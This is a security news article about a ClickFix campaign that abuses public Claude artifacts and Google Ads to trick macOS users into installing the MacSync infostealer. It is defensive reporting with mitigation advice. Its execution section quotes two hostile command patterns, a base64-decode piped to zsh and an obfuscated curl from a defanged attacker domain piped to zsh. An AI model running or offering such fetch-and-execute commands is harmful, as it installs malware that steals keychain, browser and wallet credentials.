Hackers Abuse Claude AI Artifacts in ClickFix Campaign to Deploy macOS Infostealers

CyberDefender 8 mins0

Cybersecurity researchers have identified a novel abuse of generative AI artifacts in malicious campaigns that target macOS users with data-stealing malware. Unlike traditional phishing or exploit-based distribution, this attack leverages large language model (LLM) artifacts — specifically from Anthropic’s Claude — in combination with Google Ads and the ClickFix social-engineering tactic to deceive users into executing commands that install malware.

Understanding the Threat: What Is Being Abused?

Claude LLM Artifacts

A Claude artifact refers to any piece of content that has been publicly shared after being generated by Anthropic’s Claude language model. These artifacts can include text, code, and guides that are hosted on claude.ai. While they are useful for sharing instructions or snippets, they carry a critical warning: the content is user-generated and not verified for accuracy or safety.

Attackers are now taking advantage of this very openness by publishing malicious artifacts that appear helpful but actually instruct victims to run harmful commands.

ClickFix Campaign Tactic

The campaign is part of a broader “ClickFix” social engineering framework, where users are shown search results that prompt them to fix or correct a perceived problem — but doing so actually leads them into executing malicious commands themselves. This technique has previously been used to distribute other malware families (including Windows-focused payloads) by tricking users into pasting scripts into terminals or command prompts.

How the Attack Works (Technical Flow)

1. Malvertising via Google Ads

Threat actors place malicious Google Ads that appear when users search for common Mac-related queries such as:

  • Online DNS resolver tools
  • macOS CLI disk space analyzers
  • Homebrew package manager guides

Users clicking these ads are directed to either:

  • A public Claude LLM artifact containing malicious instructions, or
  • A spoofed Medium article that mimics Apple Support guidance.

2. Execution of Malicious Commands

Instead of landing on a legitimate help page, users see instructions that tell them to paste a terminal command into macOS’s Terminal app. Two common variants observed are:

echo "..." | base64 -D | zsh

and

true && cur""l -SsLfk --compressed "https://raxelpak[.]com/curl/[hash]" | zsh

These commands decode and execute shell scripts that download and launch malware.

3. Malware Delivery and Execution

Once the command is run, the user’s machine fetches a malware loader for a macOS infostealer — identified as the MacSync infostealer. The infection sequence includes:

  • Establishing communication with a command-and-control (C2) server using a hardcoded token and API key.
  • Spoofing normal macOS browser user-agents to blend in with legitimate traffic.
  • Piping responses into osascript, which executes malicious AppleScript that steals sensitive data such as:
    • Keychain vault entries
    • Browser credentials
    • Cryptocurrency wallets

Collected data is archived and exfiltrated to the attackers’ infrastructure using HTTP POST requests, with error-handling that retries transfers in smaller chunks if necessary. Cleanup procedures then remove traces of the infection.

Scale and Impact

Researchers at Moonlock Lab and AdGuard have noted that the malicious Claude guide alone has been viewed over 15,000 times, indicating significant user exposure and suggesting that thousands of devices may have been subject to this attack bait.

This is not an isolated development — earlier ClickFix campaigns have used similar social engineering lures hosted on ChatGPT and Grok to spread the AMOS infostealer to macOS users. The expansion to Claude artifacts highlights that attackers are increasingly leveraging AI-generated content as part of their infection chains.

Why This Attack Is Effective

The campaign’s success hinges on a few key factors:

  • User trust in search results and perceived instructional content.
  • Legitimate-looking landing pages from trusted domains (e.g., claude.ai).
  • Social engineering that prompts users into manual execution of harmful commands — a step that bypasses many automated defensive systems.

Unlike file-based malware delivered through traditional executables or email attachments, this technique weaponizes user behaviour itself to trigger the malicious payload. This overlaps with broader industry observations that ClickFix and AI-poisoned content can coax even security-aware users into compromising their own systems.

Mitigation and Best Practices

To defend against such deceptive campaigns, security practitioners should recommend the following:

  • Avoid executing terminal commands copied from search results or unknown web pages.
  • Quickly verify scripts and tools against official documentation or ask trusted security tools about their safety.
  • Use endpoint detection and response (EDR) solutions with behavioral monitoring for macOS devices.
  • Educate users on the risks of socially engineered command-execution attacks.

Given the evolving threat landscape, the abuse of AI content platforms demonstrates that attackers are innovating beyond classic malware distribution channels — and defenders must adapt accordingly.

Conclusion

The ClickFix campaign abusing Claude LLM artifacts represents a shift in how cybercriminals leverage both AI content platforms and social engineering to bypass traditional defenses. By turning user trust against itself — through misleading search results, trusted domains, and compelling instructions — attackers can deploy infostealer malware with minimal friction.

This trend reinforces the necessity of critical evaluation of AI-generated content, and highlights that technical insight and user education remain essential defenses in an era where even trusted tools and services can be weaponized.

CyberDefender